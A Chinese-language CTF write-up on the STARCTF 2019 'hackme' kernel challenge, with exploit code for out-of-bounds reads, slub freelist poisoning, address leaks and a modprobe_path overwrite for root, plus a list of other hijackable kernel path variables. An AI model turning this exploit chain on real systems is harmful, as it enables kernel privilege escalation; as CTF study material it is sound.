内核安全CTFLinux

【linux内核漏洞利用】call_usermodehelper

2019-08-27  本文已影响0人  bsauce

本文通过分析STARCTF 2019 hackme 题目,来总结一下提权时可修改的变量。不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量,然后一定条件触发即可提权。

参考:

http://p4nda.top/2019/05/01/starctf-2019-hackme/

http://powerofcommunity.net/poc2016/x82.pdf

〇、知识点

(1)内核堆分配释放规则:基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。构造单链结构即可泄露堆地址,并构造任意地址写——类似fast bin attack。

(2)如何泄露kernel_base: 猜测module的第一个堆块之前是已经在使用的系统块,上面可能存在一些内核指针。

(3)如何泄露module加载地址,除了cat /proc/kallsyms | grep module_name

kernel中的mod_tree处存放着各个加载模块的地址;cat /proc/kallsyms | grep mod_tree即可。

(4)任意写到提权新姿势:劫持modprobe_path,然后通过执行一个错误的elf文件,触发。

一、漏洞分析

内核与用户交互接口是0x20的数据结构:

00000000 hackme          struc ; (sizeof=0x20, mappedto_3)
00000000 idx             dq ?
00000008 user_buf        dq ?
00000010 len             dq ?
00000018 offset          dq ?
00000020 hackme          ends

0x30001 free

signed __int64 __fastcall hackme_ioctl(__int64 fd, unsigned int cmd, __int64 hackme)
{
  cmd2 = cmd;
  v4 = hackme;
  copy_from_user(&hackme2, hackme, 32LL);
//释放后指针清零_release
  if ( cmd2 == 0x30001 )
  {
    index = 2LL * LODWORD(hackme2.idx);
    chunk = pool[index];
    addr = &pool[index];
    if ( chunk )
    {
      kfree(chunk, v4);
      *addr = 0LL;
      return 0LL;
    }
    return -1LL;
  }

0x30002 write

//从用户空间读取数据写入内核空间-write
if ( cmd2 == 0x30002 )
    {
      index2 = 2LL * LODWORD(hackme2.idx);
      chunk2 = pool[index2];
      addr2 = &pool[index2];
      if ( chunk2 && hackme2.offset + hackme2.len <= (unsigned __int64)addr2[1] )
      {
        copy_from_user(hackme2.offset + chunk2, hackme2.user_buf, hackme2.len);
        return 0LL;
      }
    }

0x30003 read

//从内核空间读取数据写入用户空间
if ( cmd2 == 0x30003 )
    {
      index3 = 2LL * LODWORD(hackme2.idx);
      chun3 = pool[index3];
      addr3 = &pool[index3];
      if ( chunk3 )
      {
        if ( hackme2.offset + hackme2.len <= (unsigned __int64)addr3[1] )
        {
          copy_to_user(hackme2.user_buf, hackme2.offset + chun3, hackme2.len);
          return 0LL;
        }
      }
    }

0x30000 alloc

//分配chunk并读取用户数据存入chunk
  if ( cmd2 != 0x30000 )
    return -1LL;
  len = hackme2.len;
  user_buf = hackme2.user_buf;
  addr4 = &pool[2 * LODWORD(hackme2.idx)];
  if ( *addr4 )
    return -1LL;
  chunk4 = _kmalloc(hackme2.len, 0x6000C0LL);
  if ( !chunk4 )
    return -1LL;
  *addr4 = chunk4;
  copy_from_user(chunk4, user_buf, len);
  addr4[1] = len;
  return 0LL;

漏洞分析:全局数组pool存内核chunk地址+chunk大小,对这个数组的存取缺少锁操作,并且内核以多线程启动,明显存在竞争漏洞,如果释放内存后立刻竞争读写堆块,触发UAF。

越界读写问题:write和read时未检查访问的地址偏移offset,为负数时可向上越界写任意长度内存。

保护:开启KASLR、SMEP、SMAP。


二、漏洞利用

(1)思路一修改cred(取巧)

修改cred:喷射大量cred在申请的内存前,通过向前越界读搜索到cred结构体,再将cred结构体的uid等值覆盖为0。但问题是,WCTF提到过,内核cred采用了cred_jar这个新的kmem_cache,与kmalloc使用的kmalloc-xx是隔离的,而且在尝试的过程中发现可以找到分配出来的cred结构体,但是在覆写过程中貌似在内存里存在保护的hole,当调研copy_from_user从cred覆写到我们kmalloc的块时,会出现kernel panic,提示在写一块non whitelist的内存。

由于利用的时候堆块len都是0x100,必须覆写这么大的长度;其实可以控制驱动模块bss段上的size成员,实现局部写,直接修改结构体。

(2)地址泄露

堆地址泄露:

基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。

alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);

delete(fd,1);
delete(fd,3);

read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t  *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
#释放1、3 后pool 内容
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
#释放的2个堆块内容
pwndbg> x /6gx 0xffff88800017a600
0xffff88800017a600: 0xffff88800017aa00  0x4141414141414141
0xffff88800017a610: 0x4141414141414141  0x4141414141414141
0xffff88800017a620: 0x4141414141414141  0x4141414141414141
pwndbg> x /6gx 0xffff88800017a800
0xffff88800017a800: 0xffff88800017a600  0x4141414141414141
0xffff88800017a810: 0x4141414141414141  0x4141414141414141
0xffff88800017a820: 0x4141414141414141  0x4141414141414141

利用4号chunk向前越界读即可读出堆地址。

内核基址:

猜测:0号内存0xffff88800017a500之前是已经在用的系统块,那么一定存在一些内核的指针。

证实:查看首个模块创建的堆块之前的内存,看看哪一个落在内核空间即可。

read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t  *)(mem+0x28)) ;
if ((kernel_addr & 0xfff) != 0xae0){
    printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
    exit(-1);
}
    
kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
printf("[+] kernel addr : %16llx\n",kernel_addr );
#首个块之前的数据 ,内核基址是 0xffffffffb6000000
(gdb) x /100xg 0xffffa0ff8017a500-0x200
0xffffa0ff8017a300: 0xffffa0ff8017a378  0x0000000100000000
0xffffa0ff8017a310: 0x0000000000000001  0x0000000000000000
0xffffa0ff8017a320: 0xffffa0ff8017a378  0xffffffffb6849ae0      <---
0xffffa0ff8017a330: 0xffffffffb6849ae0  0xffffa0ff80015100

模块地址:

类似fastbin attack,构造任意地址读写。内核中mod_tree处存放着各个模块的加载地址。cat /proc/kallsyms |grep mod_tree即可找到。

查找hackme加载地址在mod_tree中偏移:

/home/pwn # cat /proc/kallsyms | grep mod_tree
ffffffff81811000 d mod_tree
/home/pwn # cat /proc/kallsyms | grep hackme
ffffffffc0000000 t hackme_ioctl [hackme]
peda>  x /20gx 0xffffffff81811000
0xffffffff81811000: 0x0000000000000006  0xffffffffc0002320
0xffffffff81811010: 0xffffffffc0002338  0xffffffffc0000000     <----

"fastbin attack"构造任意读写:

#溢出修改fd后,第3个chunk内存(释放块)变为:
peda> x /10gx 0xffff88800017a800
0xffff88800017a800: 0xffffffff81811040  0x4141414141414141
#连续alloc两次即可拿到内核地址:
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100  #0
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100  #1
0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100  #2
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100  #3
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100  #4
0xffffffffc0002450: 0xffff88800017a800  0x0000000000000100  #5
0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100  #6 <-------

泄露hackme加载地址的代码如下(尽量采用负数越界读的方法泄露地址,防止复制毁坏数据):

memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);

read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr =  *((size_t  *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );

(3)内存任意写

泄露内核基址后,可再次利用"fastbin attack"将.bss段的pool申请下来。

//使得新块申请到pool的0xc0偏移处。 第12个块
delete(fd,2);
delete(fd,5);

*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool
#第8个块处拿到pool地址
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
0xffffffffc0002420: 0x0000000000000000  0x0000000000000100
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
0xffffffffc0002450: 0x0000000000000000  0x0000000000000100
0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100
0xffffffffc0002470: 0xffff88800017a800  0x0000000000000100
0xffffffffc0002480: 0xffffffffc00024c0  0x0000000000000100   # <----------
0xffffffffc0002490: 0x0000000000000000  0x0000000000000000

由此可向pool项中增加任意想写的地址和len,造成任意地址写。

(4)权限提升

可参考 StringIPC—从任意读写到权限提升三种方法

新方法:修改modprobe_path指向bash脚本,利用一个非正确格式的ELF文件触发。

*((size_t *)(mem+0x8)) = 0x100; 
*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
write_to_kernel(fd,8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

三、总结提权时可劫持的变量

不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

(1) modprobe_path

// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait) 
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

__request_module - try to load a kernel module

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

(2)poweroff_cmd

// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)    
    ret = run_cmd(poweroff_cmd);

触发:执行__orderly_poweroff()即可。

(3)uevent_helper

// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{  ......
    env->argv[0] = uevent_helper; 
  ...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
{......
    retval = init_uevent_argv(env, subsystem);
    info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
......}

(4)ocfs2_hb_ctl_path

// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
    argv[0] = ocfs2_hb_ctl_path;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

(5)nfs_cache_getent_prog

// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

(6)cltrack_prog

// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    argv[0] = (char *)cltrack_prog;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
上一篇下一篇

猜你喜欢

热点阅读